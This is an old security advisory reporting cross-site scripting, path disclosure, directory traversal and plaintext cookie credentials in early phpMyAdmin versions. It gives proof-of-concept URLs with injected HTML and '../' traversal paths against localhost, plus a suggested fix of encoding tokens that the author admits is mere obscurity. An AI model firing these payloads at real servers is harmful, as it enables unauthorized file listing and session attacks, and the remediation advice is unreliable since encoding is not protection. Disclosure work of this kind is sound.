phpMyAdmin XSS Vulnerabilities, Transversal Directory Attack ,
Information Encoding Weakness and Path Disclosures
--------------------
Product: phpMyAdmin
Vendor: phpMyAdmin Development Team
Versions:
VULNERABLE
- 2.5.2 CVS ( in Development )
- 2.5.x
- 2.4.x
- 2.3.x
- 2.2.x
- 2.1.x
- 2.0.x
- 1.x.x
NOT VULNERABLE
- ?
Advisory: NSRG-15-7
---------------------
Description:
phpMyAdmin is a tool written in PHP intended to handle the administration
of MySQL over the WWW. Currently it can create and drop databases,
create/drop/alter tables, delete/edit/add fields, execute any SQL
statement, manage keys on fields.
-----------------------------------------
SECURITY HOLES FOUND and PROOFS OF CONCEPT:
-----------------------------------------
I encountered Cross Site Scripting Vulnerabilities and Path Disclosures
in some files of the phpMyAdmin
installation , with this files , sending a specially crafted url you can
execute commands in the client
side only and show the local path of the phpMyAdmin installation. The
failures are related to a input validation flaw
and a inproper configuration of php.ini and php configuration declare
library ( declare_php.lib.php )in phpMyAdmin for the errors flags.
I encountered a very dangerous transversal directory attack in a docSQL
import system too.
I discover that phpMyAdmin don't encode the mysql user and password , it
save the data in plain text without encoding !.
-------------------------------
| XSS AND PATH DISCLOSURES |
-------------------------------
The affected files of the XSS attack ( Cross Site Scripting ) and Path
Disclosure are:
- sql.php / sql.php3 - Path Disclosure & XSS-
- pdf_schema.php - Path Disclosure & XSS-
- pdf_pages.php - Path Disclosure & XSS-
- ldi_table.php - Path Disclosure & XSS-
- mult_submits.inc.php - Path Disclosure & XSS-
- chk_rel.php - Path Disclosure -
- db_create.php - Path Disclosure -
- db_datadict.php - Path Disclosure & XSS-
- db_details.php - Path Disclosure -
- db_details_common.php- Path Disclosure -
- db_details_db_info.php - Path Disclosure -
- db_details_export.php - Path Disclosure -
- db_details_structure.php - Path Disclosure -
- db_printview.php - Path Disclosure & XSS-
- db_search.php - Path Disclosure -
- header_printview.inc.php - Path Disclosure -
- ldi_check.php - Path Disclosure -
- read_dump.php - Path Disclosure & XSS-
- tbl_addfield.php - Path Disclosure -
- tbl_alter.php - Path Disclosure -
- tbl_create.php - Path Disclosure -
- tbl_dump.php - Path Disclosure -
- tbl_move_copy.php - Path Disclosure -
- tbl_printview.php - Path Disclosure -
- tbl_properties.inc.php - Path Disclosure -
- tbl_properties.php -Path Disclosure -
- tbl_properties_common.php -Path Disclosure -
- tbl_properties_export.php -Path Disclosure -
- tbl_properties_links.php -Path Disclosure -
- tbl_properties_operations.php -Path Disclosure -
- tbl_properties_options.php -Path Disclosure -
- tbl_properties_table_info.php -Path Disclosure -
- tbl_query_box.php -Path Disclosure -
- tbl_relation.php -Path Disclosure -
- tbl_rename.php -Path Disclosure -
- tbl_replace.php -Path Disclosure -
- tbl_select.php -Path Disclosure -
NOTE: The Path Disclosures occur when you access directly the affected
file without any QUERY_STRING needing a valid session.
The XSS can executed passing crafted query_strings to the php scripts ,
see Samples for more info about this.
VULNERABLE FILES TO PATH DISCLOSURES And XSS THAT DOESN'T NEED A VALID
SESSION :
- libraries/auth/[cookie.auth.lib.php] - Path Disclosure -
- libraries/xpath/[XPath.class.php] - Path Disclosure -
- libraries/[ip_allow_deny.lib.php] - Path Disclosure -
- libraries/[select_lang.lib.php] - Path Disclosure -
- libraries/sqlparser.lib.php - Path Disclosure -
- libraries/db_table_exists.lib.php - Path Disclosure -
-----------------------------------
| DIRECTORY TRANSVERSAL ATTACK & |
| REMOTE LOCAL FILE RETRIEVING & |
| REMOTE INTERNAL DIRECTORY LISTING
-----------------------------------
I found a dangerous transversal directory attack in the file called
db_details_importdocsql.php ( file import
systems ) , i explain this failure in the Proof of Concept:
____Proof of Concept______
You must send a crafted request to the db_details_importdocsql.php file :
http://localhost/mysql/db_details_importdocsql.php?
submit_show=true&do=import&docpath=[YOUR TRANSVERSAL DIRECTORY ATTACK]
If you want to do a internal directory listing you must do this request:
http://localhost/mysql/db_details_importdocsql.php?
submit_show=true&do=import&docpath=../../../
With this request you can list the internal directories in the root dir
in a win installation ( normally c:\ ).
Note that you can't request files ( only dirs ) with
db_details_importdocsql.php if you attempt to get a file you get this
message: This was not a Directory .
SAMPLE RESULT OF A CGI-BIN DIRECTORY LISTED WITH THIS ATTACK:
Server iamnottotallysecured.not
Ignoring the file .
Ignoring the file ..
Ignoring the file phf.cgi // ;-)
Ignoring the file dumpenv.pl
Ignoring the file test-cgi // ;-)
Ignoring the file testcgi.pl // ;-D
Ignoring the file wwwboard.pl
Ignoring the file count.cgi
Ignoring the file php.cgi // ;-D
Ignoring the file passwd.pl
Ignoring the file admin.cgi
Ignoring the file ftp.cgi
Ignoring the file formmail.pl // ;-D
Ignoring the file proxy.pl
_______
Samples:
"""""""
Note that this paths are from my personal server in my testing lab:
The target user or you must be logged in for run the attacks :
http://localhost/mysql/sql.php?sql_query=";>..<h1>XSS ! Oh my God!</h1>
http://localhost/mysql/db_datadict.php?db=XSS
http://localhost/mysql/db_details_importdocsql.php?
submit_show=true&do=import&docpath=../../../BOOT.ini
http://localhost/mysql/read_dump.php?
db=nonexistent&sql_query="><h1>XSS</h1>
http://localhost/mysql/tbl_properties_links.php?
table_info_num_rows=10&url_query="><h1>XSS
------------------
| INFORMATION |
| ENCODING |
| WEAKNESS |
------------------
phpMyAdmin doesn't use any encoding type like BASE64/RadiX64 , only saves
the user data ( username and password too ) in plain text without any
encoding.
The authentication token in the cookie is this:
pma_cookie_username=[UserName]; lang=[language]-iso-8859-1;
pma_cookie_password=[your password]
A sample is:
pma_cookie_username=god; lang=en-iso-8859-1;
pma_cookie_password=doesnotexist
-----------------
| SOLUTIONS ;-p |
-----------------
- First: Redefine the errors flags in php.ini to Off. [Path Disclosures]
- Second: Use a partial / secure encoding for athentication tokens like
RadiX64 ( not very secure but an attacker
can think that is a more secure algorithm , obscurity ;-D ) .
- Three: Review the db_details_importdocsql.php file for prevent
transversal directory attacks and remote local directory listing.
-----------
| CONTACT |
-----------
Lorenzo Hernandez Garcia-Hierro
--- Computer Security Analyzer ---
--Nova Projects Professional Coding--
PGP: Keyfingerprint
B6D7 5FCC 78B4 97C1 4010 56BC 0E5F 2AB2
ID: 0x9C38E1D7
**********************************
NSRGroup : http://security.novappc.com
are you totally secured ?
______________________
